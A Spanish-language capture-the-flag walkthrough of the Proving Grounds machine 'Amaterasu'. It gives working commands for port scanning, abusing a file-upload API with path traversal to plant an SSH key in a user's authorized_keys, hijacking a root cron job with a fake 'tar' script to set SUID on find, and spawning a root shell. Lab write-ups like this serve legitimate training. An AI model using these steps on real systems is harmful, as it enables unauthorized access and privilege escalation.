🟢Amaterasu

Write-up de la máquina Amaterasu de Proving Grounds #writeup #walkthrough

Enumeración

Puertos abiertos

Comenzamos la resolución de la máquina Amaterasu, enumerando que puertos tiene abiertos el sistema objetivo.

nmap -p- --open --min-rate 500 -Pn -n 192.168.180.249

Tres puertos abiertos: 21, 25022, 33414 y 40080. Seguimos enumerando de manera profunda los servicios abiertos.

nmap -p21,25022,33414,40080 -sVC -Pn -n 192.168.180.249
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-18 06:48 EDT
Nmap scan report for 192.168.180.249
Host is up (0.051s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.163
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
25022/tcp open  ssh     OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey: 
|   256 68c605e8dcf29a2a789beea1aef6381a (ECDSA)
|_  256 e989ccc21714f3bc6221064a5e7180ce (ED25519)
33414/tcp open  unknown
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.3 Python/3.9.13
|     Date: Tue, 18 Jul 2023 10:49:03 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   Help: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('HELP').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|     </html>
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
40080/tcp open  http    Apache httpd 2.4.53 ((Fedora))
|_http-server-header: Apache/2.4.53 (Fedora)
|_http-title: My test page
| http-methods: 
|_  Potentially risky methods: TRACE
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33414-TCP:V=7.93%I=7%D=7/18%Time=64B66E1C%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x20Werkzeug/
SF:2\.2\.3\x20Python/3\.9\.13\r\nDate:\x20Tue,\x2018\x20Jul\x202023\x2010:
SF:49:03\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent
SF:-Length:\x20207\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<htm
SF:l\x20lang=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1
SF:>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20se
SF:rver\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20c
SF:heck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n")%r(HTTPOptions
SF:,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x20Werkzeug/2\.2\.3\x
SF:20Python/3\.9\.13\r\nDate:\x20Tue,\x2018\x20Jul\x202023\x2010:49:03\x20
SF:GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x20207\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang
SF:=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\n<p>The
SF:\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20server\.\x2
SF:0If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20check\x20y
SF:our\x20spelling\x20and\x20try\x20again\.</p>\n")%r(RTSPRequest,1F4,"<!D
SF:OCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\
SF:x20\x20\x20\x20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\"
SF:>\n<html>\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<met
SF:a\x20http-equiv=\"Content-Type\"\x20content=\"text/html;charset=utf-8\"
SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x
SF:20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>
SF:Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\
SF:x20Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQ
SF:UEST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.<
SF:/p>\n\x20\x20\x20\x20</body>\n</html>\n")%r(Help,1EF,"<!DOCTYPE\x20HTML
SF:\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x2
SF:0\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equi
SF:v=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20
SF:</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Er
SF:ror\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:
SF:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20requ
SF:est\x20syntax\x20\('HELP'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>E
SF:rror\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20
SF:request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x2
SF:0</body>\n</html>\n");
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.59 seconds

Interesante, puerto 21 (servidor FTP con acceso para usuario anonymous), 25022, 33414 y 40080 (Servidor Apache)

Enumeración Web

La máquina objetivo está ejecutando un servidor Web en el puerto 40080. Veamos su contenido.

Vamos a enumerar directorios y archivos que puedan ser interesantes.

dirsearch -u "http://192.168.180.249:40080/" -i 200,301 -t 20

No encontramos nada interesante.

Realizamos el mismo proceso para el servicio que se está ejecutando en el puerto 33414.

Realizamos la enumeración de directorios y archivos.

dirsearch -u "http://192.168.180.249:33414/" -i 200,301 -t 20

Encontramos dos directorios: /help e /info. Veamos su contenido. En el directorio /help, encontramos diferentes utilidades que hay disponibles.

En /info vemos lo siguiente:

Vemos que estamos enumerando una API REST. También encontramos un posible usuario del sistema, "Alfredo".

Veamos que información interesante podemos enumerar con las utilidades que encontramos en el directorio /help.

Podemos enumerar archivos del sistema.

Además, podemos confirmar que "alfredo" es usuario del sistema.

Existe una utilidad de carga de archivos pero con método POST.

Pero tenemos un posible vector de entrada.

Explotación

Vamos a intentar subir archivos realizando peticiones de tipo POST utilizando cURL. Esto lo hacemos de la siguiente forma:

curl -X POST http://192.168.180.249:33414/file-upload

No hemos adjuntado ningún archivo en la petición. Vamos a crear un archivo de pruebas para tratar de subirlo a la máquina objetivo.

curl -F [email protected] http://192.168.180.249:33414/file-upload
curl -F filename="securiters.txt" -F [email protected] http://192.168.180.249:33414/file-upload

Se ha subido el archivo, vamos a comprobar en que directorio está en el servidor.

Vamos a comprobar ahora, si podemos subir archivos al directorio del usuario "alfredo".

curl -F filename="/home/alfredo/securiters.txt" -F [email protected] http://192.168.180.249:33414/file-upload

Comprobemos si podemos acceder al directorio .ssh de este usuario.

curl -F filename="/home/alfredo/.ssh/securiters.txt" -F [email protected] http://192.168.180.249:33414/file-upload

Sabiendo esto, ¿que podemos hacer? Podemos tratar de subir una clave pública a este directorio para poder conectarnos como usuario "alfredo" sin necesidad de contraseña. Vamos a hacerlo de la siguente manera:

curl -F filename="/home/alfredo/.ssh/authorized_keys" -F file=@id_rsa.pub http://192.168.180.249:33414/file-upload

Pero solo se permiten determinados tipos de archivos.

cp id_rsa.pub id_rsa.pub.txt 
curl -F filename="/home/alfredo/.ssh/authorized_keys" -F file=@id_rsa.pub.txt http://192.168.180.249:33414/file-upload

Habiendo transferido correctamente el archivo, ahora podremos conectarnos a la máquina vía SSH.

ssh -p 25022 -i id_rsa [email protected]

Ya tenemos acceso a la máquina como usuario "Alfredo". Vamos a buscar la flag local.txt.

Elevación de privilegios

Enumeramos el archivo /etc/crontab

Vemos un ejecutable bash que se ejecuta cada minuto. Veamos el contenido de este script.

Vemos el directorio /restapi.

No existe ejecutable "tar" así que podemos crear uno malicioso de la siguiente manera:

nano tar

#!/bin/bash
chmod u+s /usr/bin/find

Damos permisos

chmod +x tar

Después de un minuto, vamos a comprobar los archivos con permisos SUID

find / -perm -u=s -type f 2>/dev/null

Visitamos GTFOBins para ver como podemos elevar privilegios aprovechando esto.

/usr/bin/find . -exec /bin/sh -p \; -quit

Solo quedará buscar la flag proof.txt para finalizar el CTF.

Last updated